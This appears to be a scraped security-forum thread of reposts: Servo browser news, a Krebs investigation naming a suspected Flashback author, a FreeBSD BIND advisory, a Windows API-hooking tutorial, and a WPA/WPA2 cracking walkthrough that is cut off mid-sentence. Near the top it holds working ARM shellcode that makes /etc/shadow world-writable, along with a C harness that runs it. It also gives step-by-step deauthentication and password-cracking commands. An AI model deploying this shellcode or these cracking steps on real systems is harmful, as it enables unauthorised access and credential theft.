Nytro

[h=1]Mozilla and Samsung to collaborate on Servo browser engine[/h]3 Apr 2013 17:30 Mozilla Research has been working on a next generation browser engine for some time now, developing both Rust, a safe-by-default, concurrent replacement for C++, and an experimental browser engine called Servo, written in Rust. Now, Brendan Eich, CTO at Mozilla, has announced that Mozilla will be working with Samsung to develop Servo on Android and ARM platforms. Servo and Rust are a ground up rebuild of browser technology which focuses on the predicted future demands of using multiple cores with high security and stability. Rust offers lightweight concurrency primitives which make it easier for developers to make use of many cores. Rust's safe-by-default nature also prevents a number of categories of memory management errors from happening; these are one of the prime causes of crashes and an enabler of remote code execution attacks. Samsung has already been collaborating with Mozilla and has delivered an ARM backend to Rust to allow Servo to be cross-compiled for mobile devices; the code and instructions are already available for interested developers. Samsung's interest is most likely centred around the ARM-based processors it develops, including the most recent 8-core Octa Exynos with two sets of four cores in power/power-efficient combinations. ARM-based processors are most likely to be developed over time with many more cores to allow them to scale to demand, therefore a browser and language which efficiently exploits this property would be very useful. Where it would fit in Samsung's plans though is hard to work out; the company already makes mobile devices with Android, is developing Tizen with Intel and the Linux Foundation, still has Bada, its own phone OS, and makes some Windows 8 phones. Rust made its public debut in January 2012 as an experiment in emphasising security over performance. Rust 0.6 has been released today, and Eich says that over the coming year they are "racing to complete the first major revision of Rust". This will involve cleaning up the language, expanding the reach of the system libraries, building complete user-ready toolchains, fully documenting the platform, and improving the language's performance. Development of Servo, which originally emerged in March 2012, will continue to explore how pervasive parallelism can be exploited in a browser. (djwm) Sursa: The H Open - Mozilla and Samsung to collaborate on Servo browser engine

Linux/ARM - chmod("/etc/shadow", 0777) - 41 bytes /* Title: Linux/ARM - chmod("/etc/shadow", 0777) - 41 bytes Date: 2012-09-08 Tested on: ARM1176JZF-S (v6l) Author: midnitesnake 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 4678 mov r0, pc 805e: 3012 adds r0, #18 8060: 21ff movs r1, #255 ; 0xff 8062: 31ff adds r1, #255 ; 0xff 8064: 3101 adds r1, #1 8066: 270f movs r7, #15 8068: df01 svc 1 806a: 1b24 subs r4, r4, r4 806c: 1c20 adds r0, r4, #0 806e: 2701 movs r7, #1 8070: df01 svc 1 8072: 652f .short 0x652f 8074: 732f6374 .word 0x732f6374 8078: 6f646168 .word 0x6f646168 807c: 46c00077 .word 0x46c00077 */ #include <stdio.h> char shellcode[] = "\x01\x60\x8f\xe2" "\x16\xff\x2f\xe1" "\x78\x46" "\x12\x30" "\xff\x21" "\xff\x31" "\x01\x31" "\x0f\x27" "\x01\xdf" "\x24\x1b" "\x20\x1c" "\x01\x27" "\x01\xdf" "\x2f\x65" "\x74\x63\x2f\x73" "\x68\x61\x64\x6f" "\x77\x00" "\xc0\x46"; int main() { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; } Sursa: http://www.javierperez.cl/RPi/RPi_Linux-ARM%20-%20chmod_etcshadow.txt L-am pus pentru ca e "documentat".

[h=2]Who Wrote the Flashback OS X Worm?[/h] 03Apr 13 [h=2]Who Wrote the Flashback OS X Worm?[/h] A year ago today, Apple released a software update to halt the spread of the Flashback worm, a malware strain that infected more than 650,000 Mac OS X systems using a vulnerability in Apple’s version of Java. This somewhat dismal anniversary is probably as good a time as any to publish some clues I’ve gathered over the past year that point to the real-life identity of the Flashback worm’s creator. Before I delve into the gritty details, a little background on this insidious contagion is in order. A keenly detailed research paper (PDF) published last year by Finnish security firm F-Secure puts the impact and threat from Flashback in perspective, noting that the malware boasted a series of “firsts” for its kind. For starters, Flashback was the first OS X malware to be “VMware aware” — or to know when it was being run in a virtual environment (a trick designed to frustrate security researchers). It also was the first to disable XProtect, OS X’s built-in malware protection program. These features, combined with its ability to spread through a then-unpatched vulnerability in Java made Flashback roughly as common for Macs as the Conficker Worm was for Windows PCs. “This means Flashback is not only the most advanced, but also the most successful OS X malware we’ve ever seen,” wrote F-Secure’s Broderick Ian Aquilino. The F-Secure writeup answers an important question not found in other analyses: Namely, what was the apparent intended purpose of Flashback? Put simply: to redirect Google results to third-party advertisers, all for the author’s profit. It’s name was derived from the fact that it spread using a social engineering trick of presenting the OS X user with a bogus Flash Player installation prompt. F-Secure notes that this same behavior — both the Flash social engineering trick and the redirection to fake Google sites that served search results for third-party advertisers that benefited the author — was also found in the QHost malware, suggesting that Flashback may have been the next evolution of the Mac QHost malware. BLACK SEO A year ago, I published a series that sought to identify the real-life hackers behind the top spam botnets. Using much the same methodology, I was able to identify and locate a young man in Russia who appears (and privately claims) to be the author of Flashback. As it happens, this individual hangs out on many of the same forums as the world’s top spammers (but more on that at another time). Given Flashback’s focus on gaming Google’s ad networks, I suspected that the worm’s author probably was a key member of forums that focus on so-called “black hat SEO,” (search engine optimization), or learned in illicit ways to game search engines and manipulate ad revenues. Sure enough, this individual happens to be a very active and founding member of BlackSEO.com, a closely guarded Russian language forum dedicated to this topic. Below is a screen shot taken from a private message between a “VIP” user named “Mavook” and a top forum member on BlackSEO.com. The conversation took place on July 14, 2012. A rough translation of their conversation is superimposed on the redacted screen grab, but basically it shows Mavook asking the senior member for help in gaining access to Darkode.com, a fairly exclusive English-language cybercrime forum (and one that I profiled in a story earlier this week). BlackSEO.com member “Mavook” claims responsibility for creating Flashback to a senior forum member. Mavook asks the other member to get him an invitation to Darkode, and Mavook is instructed to come up with a brief bio stating his accomplishments, and to select a nickname to use on the forum if he’s invited. Mavook replies that the Darkode nick should be not be easily tied back to his BlackSEO persona, and suggests the nickname “Macbook.” He also states that he is the “Creator of Flashback botnet for Macs,” and that he specializes in “finding exploits and creating bots.” The senior member that Mavook petitions is quite well known in the Russian cybercrime underground, and these two individuals also are well known to one another. In fact, in a separate exchange on the main BlackSEO forum between the senior member and a BlackSEO user named JPS, the senior member recommends Mavook as a guy who knows his stuff and can be counted on to produce reliable attack tools. In the conversation screen-shotted here to the left, JPS can be seen asking the senior forum member for recommendations about reliable individuals who sell unique exploit packs, software toolkits built to be stitched into hacked Web sites and exploit common Web browser vulnerabilities. JPS says he’s looking for a pro who can deliver decent exploitation rates. “I have no time (and no desire) to roam chats and argue there with cool hackers,” JPS said. “I need to check traffic in terms of exploitability, and in the future, if everything is alright, I can work on a continuous basis” with the hired expert. The senior member tells JPS to ask Mavook. “If Mavook won’t budge, saying that he is no longer doing this stuff, write to me again.” WHO IS MAVOOK? If we take a closer look at Mavook’s profile page on BlackSEO.com, we can see that he is a longtime member, dating back to 2005, when he was the 24th member registered on BlackSEO (out of thousands). Mavook’s profile also shows that his personal home page was at one time mavook.com. The WHOIS registration records for mavook.com have long been hidden by commercial WHOIS privacy protection services, but I found the original WHOIS record for this domain using the indispensable historic WHOIS service maintained by domaintools.com. Those records show that the domain was originally registered in 2005 by a Maxim Selikhanovich in Saransk, the capital city in Mordovia, a republic in the eastern region of the East European Plain of Russia. The email address used to register mavook.com was “h0mini@mail.ru” (the second character in the address is a zero). A search for that email address in Skype’s user database brings up a user with the screen name “Maximsd”. Mavook also used the email address “mavook@gmail.com.” That address is tied a Maxim Selikhanovich in Saransk via the registration records for the now defunct Website saransk-offline.com, which at one point sold popular MP3 files for pennies apiece. One of the emails used by Maxim for that Website and a related site was “troxel@yandex.ru,” which was the same email used to register a now-deleted Facebook account under a Maxim Selikhanovich from Saransk. Yet another abandoned music sales site — mavook-mp3.com — was registered to a “Mavook aka Troxel” and to the h0mini@mail.ru” address used for mavook.com. MACS, MAX and MAKS The final clue offers perhaps the most tantalizing details: The h0mini@mail.ru address is the contact point of record for a business in Saransk called mak-rm.com, the domain name registered to a IT-outsourcing and Web design firm in Saransk called the Mordovia Outsourcing Company (the “mak” part of the name comes from the Russian version of the company name, which is “?????????? ?????????????? ????????”). That domain is registered to a “Max D. Sell” in Saransk (see a cached image from mak-rm.com’s homepage in 2010 at the Internet Archive). According to a trusted source who has the ability to look up tax information on citizens and corporations in Russia, the Mordovia Outsourcing Company was registered and founded by one Maxim Dmitrievich Selihanovich, a 30-year-old from Saransk, Mordovia. Sursa: https://krebsonsecurity.com/2013/04/who-wrote-the-flashback-os-x-worm/

FreeBSD Security Advisory - BIND Denial Of Service Site security.freebsd.org FreeBSD Security Advisory - A flaw in a library used by BIND allows an attacker to deliberately cause excessive memory consumption by the named(8) process. This affects both recursive and authoritative servers. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================= FreeBSD-SA-13:04.bind Security Advisory The FreeBSD Project Topic: BIND remote denial of service Category: contrib Module: bind Announced: 2013-04-02 Credits: Matthew Horsfall of Dyn, Inc. Affects: FreeBSD 8.4-BETA1 and FreeBSD 9.x Corrected: 2013-03-28 05:35:46 UTC (stable/8, 8.4-BETA1) 2013-03-28 05:39:45 UTC (stable/9, 9.1-STABLE) 2013-04-02 17:34:42 UTC (releng/9.0, 9.0-RELEASE-p7) 2013-04-02 17:34:42 UTC (releng/9.1, 9.1-RELEASE-p2) CVE Name: CVE-2013-2266 For general information regarding FreeBSD Security Advisories, including descriptions of the fields above, security branches, and the following sections, please visit <URL:http://security.FreeBSD.org/>. I. Background BIND 9 is an implementation of the Domain Name System (DNS) protocols. The named(8) daemon is an Internet Domain Name Server. The libdns library is a library of DNS protocol support functions. II. Problem Description A flaw in a library used by BIND allows an attacker to deliberately cause excessive memory consumption by the named(8) process. This affects both recursive and authoritative servers. III. Impact A remote attacker can cause the named(8) daemon to consume all available memory and crash, resulting in a denial of service. Applications linked with the libdns library, for instance dig(1), may also be affected. IV. Workaround No workaround is available, but systems not running named(8) service and not using base system DNS utilities are not affected. V. Solution Perform one of the following: 1) Upgrade your vulnerable system to a supported FreeBSD stable or release / security branch (releng) dated after the correction date. 2) To update your vulnerable system via a source code patch: The following patches have been verified to apply to the applicable FreeBSD release branches. a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. # fetch http://security.FreeBSD.org/patches/SA-13:04/bind.patch # fetch http://security.FreeBSD.org/patches/SA-13:04/bind.patch.asc # gpg --verify bind.patch.asc Execute the following commands as root: # cd /usr/src # patch < /path/to/patch Recompile the operating system using buildworld and installworld as described in <URL:http://www.FreeBSD.org/handbook/makeworld.html>. Restart the named daemon, or reboot the system. 3) To update your vulnerable system via a binary patch: Systems running a RELEASE version of FreeBSD on the i386 or amd64 platforms can be updated via the freebsd-update(8) utility: # freebsd-update fetch # freebsd-update install VI. Correction details The following list contains the revision numbers of each file that was corrected in FreeBSD. Branch/path Revision - ------------------------------------------------------------------------- stable/8/ r248807 stable/9/ r248808 releng/9.0/ r249029 releng/9.1/ r249029 - ------------------------------------------------------------------------- VII. References https://kb.isc.org/article/AA-00871 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2266 The latest revision of this advisory is available at http://security.FreeBSD.org/advisories/FreeBSD-SA-13:04.bind.asc -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.19 (FreeBSD) iEYEARECAAYFAlFbGYYACgkQFdaIBMps37J4eACeNzJtWElzKJZCqXdzhrHEB+pu 1eoAn0oD7xcjoPOnB7H3xZbIeHldgGcI =BX1M -----END PGP SIGNATURE----- Sursa: FreeBSD Security Advisory - BIND Denial Of Service ? Packet Storm

[h=1]Extended code overwriting (ECO)[/h]By RosDevil Posted 29 March 2013 - 12:21 PM This is an example of ECO (extended code overwriting) to intercept APIs. The basic concept is the same of simple code overwriting: "the concept of this approach is to locate the address of the original API function and to change first few bytes of this function with a JMP instruction that redirects the call to the custom supplied API function. This method is extremely tricky and involves a sequence of restoring and hooking operations for each individual call. It's important to point out that if the function is in unhooked mode and another call is made during that stage, the system won't be able to capture that second call. The major problem is that it contradicts with the rules of a multithreaded environment." (From CodeProject) in Extended code overwriting: We CAN'T have a loss of api interception while hooking, because there isn't any restoring the original Api. We create a new function that is able to perform the same operations of the API. So any time we need to call that API directly we call the new function. This a quick example that really gives you the idea. The console application applys the hook on itself on MessageBoxA, then calls a MessageBox, but it is (intercepted and) redirected to an other function that will ask you whether allow the MessageBox work or not. Then it shows you how to call the original API MessageBoxA from the new function, so to avoid the hook. (the executable is attached so try) This basic code contains all the infos to create a DLL that, after being injected in processes with any sort of injection that you like, can monitor the APIs that you want, so to report it to a file or maybe make it work such as an antivirus that blocks APIs that you consider malicious, like bind(). //API INTERCEPTION: EXTENDED CODE OVERWRITING by RosDevil //compiler: VC++ (Windows XP 32bit) #include "stdafx.h" #include "windows.h" #include <iostream> #include "conio.h" //--> getch() using namespace std; __declspec() void CallMsg(); __declspec() int MessageBox_M(); _declspec()int call_MessageBox(HWND hwnd, char * text, char * caption, UINT types); char * text, * caption; //globals to contain the hook function's DWORD Buttons_and_Icons; //parameters: HWND hWnd; //MessageBox(hwnd, text, caption, types) //This is really important not for the hook but to reperform the original API. //the first five NOPs (0x90) will be replaced with the first five bytes of the original API, then //the other 5 bytes (0xE9[jmp] and four 0x90) are there to perform a JMP exatly after our patch in the orginal //API, so it can run normally. The last four NOPs (0x90) will be replaced with the size of the jump to //the original API after the patch. unsigned char original_bytes_for_extendedF[10] = {0x90, 0x90, 0x90 ,0x90 ,0x90, 0xE9, 0x90, 0x90 ,0x90 ,0x90}; //Hook function, when ever MessageBoxA is called it is suddenly redirected here. __declspec(naked) void CallMsg(){ _asm{ mov edi, edi push ebp mov ebp, esp mov eax, [ebp + 8] //first parameter HWND (handle window) mov hWnd, eax mov eax, [ebp + 12] //second parameter "i am free" mov text, eax mov eax, [ebp + 16] //third parameter "MSG" mov caption, eax mov eax, [ebp + 20]; //fourth parameter Buttons and Icons (unsigned int) mov Buttons_and_Icons, eax } char c; cout<<endl<<"---- Api intercepted (MessageBoxA) ----"<<endl; cout<<"Message: "<< text <<endl; cout<<"Caption: "<< caption <<endl; cout<<"Buttons/Icons: "<<hex<<Buttons_and_Icons<<endl; cout<<"Handle Window: "<<hWnd<<endl; cout<<"---- "<<endl; cout<<"Do you want to let the API work? (y/n)"<<endl; c = getch(); _asm{ cmp c, 'y' jne out1 push Buttons_and_Icons push caption push text push hWnd call MessageBox_M //eax is set by the original function MessageBoxA jmp finish out1: mov eax, -1 finish: pop ebp retn 10h //the called function is responsable for the stack cleanup } } //This is the EXTENDED function, in other words, it is exatly the same of MessageBoxA. __declspec(naked) int MessageBox_M(){ _asm{ NOP //mov edi, edi NOP //push ebp NOP //mov ebp, esp NOP //.. NOP //.. NOP //jmp to address of [MessageBoxA + 5] NOP NOP NOP NOP NOP NOP } } //When we want to call directly the MessageBox without hooks we call this. //Note: we could avoid this function and pass directly the parameters to MessageBox_M each time we need a MessageBox, //BUT there is a possible buffer overrun if parameters are passed outside a NAKED function because the compiler //is normally set to optimize the code, and when ASSEMBLY code is added directly, there are many possibilities //of a stack-crash. _declspec(naked)int call_MessageBox(HWND hwnd, char * text, char * caption, UINT types){ _asm{ push ebp mov ebp, esp push [ebp + 20] push [ebp + 16] push [ebp + 12] push [ebp + 8] call MessageBox_M pop ebp ret } } int _tmain(int argc, _TCHAR* argv[]) { //this contains the jmp from the original api to the redirected function, the four 0x90 will be replaced //with the size of the jump to CallMsg() unsigned char redirect[] = { 0xE9, 0x90, 0x90, 0x90, 0x90, 0x90}; /* First let's get the address of the Api that we want to hook and then calculate the size of the relative jumps in and out of it. Formula to calculate size of JMP: pAddressTo - pAddressFrom; *we need to consider that the jump size must be calculated after the JMP not before. *moreover remember that the size of a jump is a SIGNED number. */ DWORD adr = (DWORD)GetProcAddress(GetModuleHandle("User32.dll"), "MessageBoxA"); long offset = (DWORD)CallMsg - adr - 5; long to_original_offset = (adr + 5) - ((DWORD)MessageBox_M + 10); DWORD oldP; //ALLOW and MODIFY MessageBoxA API if (VirtualProtect((void*)adr, 5, PAGE_EXECUTE_READWRITE, &oldP)==0) MessageBox(0, "Error VirtualProtect", "info", MB_OK); memcpy((void*)((unsigned long)&redirect + 1), &offset, 4); memcpy((void*)((unsigned long)&original_bytes_for_extendedF), (void*)adr, 5); memcpy((void*)adr, &redirect, 5); VirtualProtect((void*)adr, 5, oldP, 0); //ALLOW and MODIFY MessageBox_M VirtualProtect(&MessageBox_M, 10, PAGE_EXECUTE_READWRITE, &oldP); memcpy((void*)((unsigned long)&original_bytes_for_extendedF + 6), &to_original_offset, 4); memcpy((void*)MessageBox_M, &original_bytes_for_extendedF, 10); VirtualProtect((void*)MessageBox_M, 10, oldP, 0); /* Now we have enstablished a hook on MessageBoxA and we have created an extented function MessageBox_M that performs the real API MessageBoxA. */ int result = MessageBox(0, "I wanna be free. Do you let me?", "MSG", MB_YESNO | MB_ICONWARNING); if (result == IDYES){ cout<<"MessageBox: You have pressed YES!"<<endl; }else if (result == IDNO){ cout<<"MessageBox: You have pressed NO!"<<endl; }else if (result == -1) cout<<"MessageBox: Error, API BLOCKED!"<<endl; //When ever we need to call MessageBoxA directly we call call_MessageBox() that will //pass the parameters to MessageBox_M() call_MessageBox(0, "This is MessageBoxA performed by an extended function", "EXTENDED CODE OVERWRITING", MB_OK | MB_ICONWARNING); cout<<"Press to exit..."<<endl; getch(); return 0; } PUT LIKE IF YOU APPRECIATE [h=4]Attached Files[/h] ECO.rar 5.09K 11 downloads RosDevil Sursa: Extended code overwriting (ECO) - rohitab.com - Forums

[h=1]Yahoo! Messenger XSS vulnerability[/h] http://www.youtube.com/watch?v=s_78bk3dZcc

How To Crack WPA / WPA2 Fri, 26 Oct 2012 12:40 Scott DeLeeuw Introduction The world has changed since Brandon Teska's original WPA/WPA2 Cracking tutorial was written in 2008. While there are some wireless networks still using WEP, there has been a mass migration to WPA2-AES wireless security. A key reason for this move is 802.11n, which requires WPA2/AES security enabled in order to access link rates over 54 Mbps. Cracking techniques have changed too. While most techniques still use some form of dictionary-based exploits, the power of the cloud has also been brought to bear on password cracking. In fact, Dan Goodin's excellent article over on Ars prompted Tim to ask me to revisit the original article and update it to include the new methods Dan described. So here I am. Brandon's article provides a good WPA primer, so I won't repeat that here. The key things that you need to know are: The information we need to capture is contained in transmissions between AP and STA (client) known as the "four-way handshake" The techniques used to recover the passphrase are primarily forms of dictionary attacks So, let's just jump in after a few "need to knows": Warning and Disclaimer Accessing or attempting to access a network other than your own (or have permissions to use) is illegal. SmallNetBuilder, Pudai LLC, and I are not responsible in any way for damages resulting from the use or misuse of information in this article. Note: The techniques described in this article can be used on networks secured by WPA-PSK or WPA2-PSK. References to "WPA" may be read "WPA/WPA2". Setup To crack WPA-PSK, we'll use the venerable BackTrack Live-CD SLAX distro. It's free to download, but please consider donating, since this really is the Swiss Army knife of network security. As you can see from my system specs in Table 1, it doesn't take much computing power to run WPA cracks. [TABLE=class: content_table_narrow, align: center] [TR] [TH=colspan: 2]Attacking System Specs[/TH] [/TR] [TR=class: light] [TD]Model[/TD] [TD]Dell Latitude D630 laptop[/TD] [/TR] [TR=class: dark] [TD]Processor[/TD] [TD]Intel Core2Duo T7100 (1.80 GHz)[/TD] [/TR] [TR=class: light] [TD]Wireless Adapter[/TD] [TD]Intel WiFi Link 5300 AGN[/TD] [/TR] [TR=class: dark] [TD]OS[/TD] [TD]BackTrack 5 R3 KDE 32-bit (build 08.13.2012)[/TD] [/TR] [TR=class: light] [TD]Target Wireless Access Point[/TD] [TD]NETGEAR WNDR4500 (SSID: 9105GirardCh6)[/TD] [/TR] [TR=class: dark] [TD]Target AP MAC[/TD] [TD]20:4E:7F:0C:05:C3[/TD] [/TR] [TR=class: light] [TD]Target AP Client MAC[/TD] [TD]00:19:88:22:96:BC[/TD] [/TR] [/TABLE] Table 1: Attacking System Specs BackTrack 5 R3 is the current version over at backtrack-linux.org so that's what we'll be using. First, download, the BackTrack ISO. I decided to boot BackTrack as a USB thumb drive with 4 GB of persistence. For this I used a 16 GB USB thumbdrive and LinuxLive USB Creator. Recon with Kismet Open up Kismet, the venerable wireless surveillance tool (Backtrack > Information Gathering > Wireless Analysis > WLAN Analysis > Kismet). Upon opening Kismet you will need to select your wireless interface, which you can grab by typing "iwconfig" in a terminal. Kismet is a great surveillance tool, but that is only one of its many talents. It captures raw packets while operating, which we can use later to attack weak PSKs, having captured a client connection while listening. It also has some interesting alerts built in, to warn you of potential evil-doers within wireless range. To top it off, Kismet is completely passive and therefore undetectable. In Part 1 of our original WEP cracking series, Humphrey Cheung wrote a great introduction to recon with Kismet. Recon for WEP cracking and WPA cracking is very similar, so I won't repeat all that information here. Instead, I'll just point out a few settings and options that I find useful as well as explain a bit of the interface. I would add, however, that Kismet is very versatile and customizable with great context-sensitive help menus. In the main network list, access points are color coded by encryption method, which we also see indicated in the "C" column. Green (N) indicates no encryption method, while Red (W) indicates WEP encryption. Yellow (O) indicates other, usually meaning WPA / WPA2. You can see that highlighted an SSID provides more details about that specific AP. Figure 1: Kismet Information Screen The other interesting parts of the Network List display for our purposes include the T, Ch and the Pkts columns. The Ch column, as one might expect, is the channel of the access point. We'll need this information later if we employ an active attack. The Pkts column lists the number of packets captured by Kismet for a particular access point. While not completely relevant, it gives us a decent ball-park measurement of both network load and proximity. Higher network load usually translates to higher number of connected clients, which increases the chance that we could capture a client association passively. Kismet defaults to autofit mode, where you can sort the networks and bring up the Network Details page by highlighting an AP and hitting enter. The Network Details page list all sorts of interesting information about the network most notably the WPA encryption scheme, BSSID and number of clients associated with the access point. Pressing c while in the Network Details view will bring up the connected Clients List. The Client List shows all the nodes with traffic associated with the access point. This is one reason it's nearly useless to set MAC filters at a router. In seconds, Kismet can give an observer your client MACs, which can then be easily configured to the attacker's network adapter. The client list can also be shown on the main page by selecting "Client Details" under View as shown in Figure 1 above. Passive Attack In a passive attack, all we need to do is listen on a specific channel and wait for a client to authenticate. Kismet is the weapon of choice here, although airodump-ng works too. Kismet gives you much more control and information than airodump-ng, but unfortunately doesn't provide notification to alert you of a successful WPA-PSK association four-way handshake. Airodump-ng does, but gives you less dynamic control of the capture card's behavior and very little information (compared to Kismet). General Kismet recon and capture steps for a passive WPA-PSK attack are: Start Kismet Sort the networks (Ex: by channel, press "s" then "c") Lock channel hopping onto the channel of interest (highlight the target AP and press "L") Wait until a client connects to capture the association Active Attack Passive attacks have the advantage of being undetectable because they only listen to traffic from the target network. But if your target doesn't have a lot of traffic, you can wait a long time to capture the four-way handshake. Fortunately, you have the faster, but less-stealthy option of running an active attack. Using the information we gathered with Kismet during the recon step, we can send associated client(s) of the target AP forged deauthentication packets, which should cause the client(s) to disassociate from the AP. We then listen for the reassociation and subsequent authentication. After identifying our target AP with associated clients, we need to set up the wireless hardware for packet injection. The aircrack suite has a little bash script to do just that. First bring down the managed VAP (Virtual Access Point) with: airmon-ng stop ath0 Figure 2: Bringing down the managed interface Next, start up a VAP in "Monitor" mode: airmon-ng start wifi0 Figure 3: Creating a monitor mode interface Now we need to simultaneously deauthenticate a client and capture the resulting reauthentication. Open up two terminal windows. Start airodump-ng in one terminal: General Form: airodump-ng -w capture_file_prefix --channel channel_number interface Example: airodump-ng -w cap --channel 6 ath0 Figure 4: airodump-ng, up and running Note: You can find the interface that is in monitor mode by using iwconfig. Next, run the deathentication attack with aireplay-ng in the other terminal: General Form: aireplay-ng --deauth 1 -a MAC_of_AP -c MAC_of_client interface Example: aireplay-ng --deauth 1 -a 00:18:E7:02:4C:E6 -c 00:13:CE:21:54:14 ath0 Figure 5: A successfully sent deathentication packet If all goes well, the client should be deauthenticated from the AP and will usually reauthenticate. If remaining undetected is important, send only one deauth and be patient. This helps keep you under the radar, since programs like Kismet can detect deauthentication floods. If the deauthentication was successful, airodump-ng displays a notification of the captured reauthentication event (boxed in red in Figure 6). Figure 6: Successful WPA handshake capture Finding the Four-way Handshake To make sure we captured an authentication handshake, we can use the network protocol analyzer Wireshark (formerly Ethereal). Wireshark allows us to view packet contents and sort by type of packet captured to pull out the WPA handshake. Open up Wireshark (Backtrack > Privilege Escalation > Protocol Analysis > Network Sniffers > WireShark) and open the Kismet capture "dump" file (Kismet-.dump) to view all the captured packets. The WPA four-way handshake uses the Extensible Authentication Protocol over LAN (EAPoL). Using Wireshark, we can filter the captured packets to display only EAPoL packets by entering "eapol" in the filter field (Figure 7). Figure 7: EAPoL filter applied to captured packets Here, we're basically looking for four packets that alternate source, client-AP-client-AP (I've highlighted them in red in Figure 7). Now that we've confirmed that we've captured a four-way handshake, it's time to perform the crack. Performing the Crack The Wi-Fi Alliance was wise to implement an eight character minimum for WPA-PSK. Making the key that long essentially renders brute force methods useless. This is because the number of possible typeable character combinations for keys of an eight character length is just above six quadrillion (that's 948 or about 6 x 1015). So brute-force techniques won't be effective. What we can do, however, is limit the list of possible passphrases by making educated guesses, compute the hashes of those guesses and check them against our captured key. This technique is referred to as a dictionary attack. BackTrack 5 R3 comes with a few simple wordlists, which can simply be opened as text files. I looked within the list and did not see my test password "gilbert28" in the lists, so for purposes of demonstration I added it to the bottom. I know what you're going to say, what good is it if you simply add it to the bottom? We'll get to that later. If you don't want to experiment with the simple wordlists included on the BackTrack distro, there are plenty of wordlists around the 'net. I used a downloaded wordlist containing 172,746 keys. With that list I could mount a dictionary attack on the captured WPA handshake using aircrack-ng. Aircrack-ng runs pretty fast on my attacking system (testing 172,746 keys took 3 minutes flat, that's 980 keys per second), and has native optimization for multiple processors. Even though it doesn't take a beefy system to run a WPA / WPA2 dictionary attack, I should note that I also ran this same attack on a Q8300 2.4 GHz quad-core and it finished the same list in one minute and 2 seconds, crunching 2,800 keys per second. aircrack-ng attack Start a dictionary attack against a WPA key with the following: General Form: aircrack-ng -e AP_SID -w dictionary_file capture_file Example (BackTrack 5 R3): aircrack-ng -e 9105GirardCh6 -w passwords2.txt Ch6-01.cap Aircrack-ng shows the hex hashes of the keys as it tries them, which is nice since some attacks can take a long time. Figure 8 shows that Aircrack-ng took 3 minutes to find the test key "gilbert28". Figure 8: Aircrack-ng, Key Found! Other Methods If you've been paying attention, you know that I had to add this password to the end of my large dictionary file. The obvious limitation of these techniques is the existence of the key within the dictionary file used for the attack. WPA keys like "dinosaur" or "dictionary" can be easily cracked by aircrack-ng, but something like "dinosaur52" or "D1cti0nary" would not. They would at least be missed by a plain-jane sweep through the dictionary and would take a couple million years to straight brute-force. Or not. It takes my laptop about 12 hours to crank through 45 million passphrases. This isn't exactly lightning fast. But things get a bit scarier when you look at the speed of cloud-based cracking services. That 12 hours it took above to crunch 45 million words can be done in way less than an hour via the cloud. Cloud-based cracking services will retrieve the password for you, for a small fee, of course. One such service is CloudCracker.com. All you do is provide the authentication handshake (the file we looked at with WireShark), the SSID, and your credit card and they do the rest. CloudCracker.com is also not limited to WPA2 passwords, they'll retrieve NTLM, SHA-512, MD5 and MSCHAPv2 (PPTP VPN) passphrases, too. The table below shows the pricing structure I was presented with for my WPA / WPA2 crack: [TABLE=class: content_table_narrow, align: center] [TR=class: light] [TH]Price[/TH] [TH]Dictionary size Number of Words[/TH] [TH]Maximum Time[/TH] [/TR] [TR=class: dark] [TD=align: right]$17[/TD] [TD=align: right]604 M[/TD] [TD=align: center]1 Hour[/TD] [/TR] [TR=class: light] [TD=align: right]$34[/TD] [TD=align: right]1,208 M[/TD] [TD=align: center]1 Hour[/TD] [/TR] [TR=class: dark] [TD=align: right]$68[/TD] [TD=align: right]2,416 M[/TD] [TD=align: center]1 Hour[/TD] [/TR] [TR=class: light] [TD=align: right]$136[/TD] [TD=align: right]4,832 M[/TD] [TD=align: center]2 Hours[/TD] [/TR] [/TABLE] Table 2: CloudCracker.com WPA / WPA2 Cracking Prices I made an executive decision and just went with the $17 cracking option, knowing full well that "gilbert28" was not complex enough to withstand a 604 Million Word search. As expected, CloudCracker.com returned my password in 524 seconds (just under 9 minutes) from the moment I clicked Submit Job. Figure 9: CloudCracker.com Returning My Password So do you really need a 64 character randomly-generated password to be safe from cracking? To answer that, I tried a second CloudCracker run. This time I used the default password that came with my NETGEAR router. Some NETGEAR routers (and Cisco Linksys' too) come with what look like easily-crackable default WPA passwords. So I submitted my default—classymoon359—to CloudCracker to see if what I suspected was true. I had a feeling that the 604 M $17 dictionary wasn't going to do the job, so I bumped up to the 1,208 million word option for $34. Figure 10 showed that CloudCracker completed its work before the allotted hour was up, but failed to recover the password. We'll see why that was in a little while. Figure 10: CloudCracker.com fail If you don't want to spend the money on CloudCracker, there are other tools in the BackTrack distro that you can try. The original version of this article describes techniques using John the Ripper to generate permutations and common password additions to a dictionary file, that can then be fed into coWPAtty or aircrack-ng. A more powerful alternative is also included in BackTrack 5. oclHashcat-plus uses the power of a graphics processor to speed up password cracking. My Q8300 quad-core machine sports a supported CUDA-enabled Nvidia 9800GT, so I downloaded the oclHashCat-plus binaries and fired them up in Windows 7 64-bit. The first thing I decided to test was running a dictionary attack against the very same password and wordlist that I used for aircrack-ng. If you remember, this crack took a 62 seconds with the quad-core machine. We will need the same 4-way handshake we used for aircrack-ng, but oclHashcat-plus accepts the WPA/WPA2 hashes in it's own “hccap” file. So we'll need to convert the .cap file to a format oclHashcat-plus can understand. The easiest way to do this is to go to http://hashcat.net/cap2hccap/. If you're paranoid and don't want to give out the privileged information, you can also use other utilities to generate the file. With the new hccap file in hand, here are our commands: oclHashcat-plus dictionary attack Start a dictionary attack against a WPA key with the following: General Form: type dictionary_file | cudaHashcat-plus64.exe -m 2500 hash_file Example (BackTrack 5 R3): type passwords2.txt | cudaHashcat-plus64.exe -m 2500 Ch6-01.hccap Figure 11: oclHashcat dictionary attack oclHashcat-plus, running on my 9800GT's GPU, retrieved my passphrase in just 17 seconds compared to the 62 seconds needed for aircrack-ng on the quad-core Q8300, that's an impressive improvment! Of course, this assumes my passphrase is in the wordlist I've downloaded, which it wasn't initially, I had to add it. More oclHashcat-plus mask attack oclHaschcat-plus can be configured to do a mask attack either using a combination of a dictionary file and character masking or just strict character masking. The full details of a mask attack are beyond the scope of this article, but you can read more in the oclHashcat wiki. Mask attacks have to be run against a specific amount of characters, so the attack needs to be repeated several times. In my case I ran 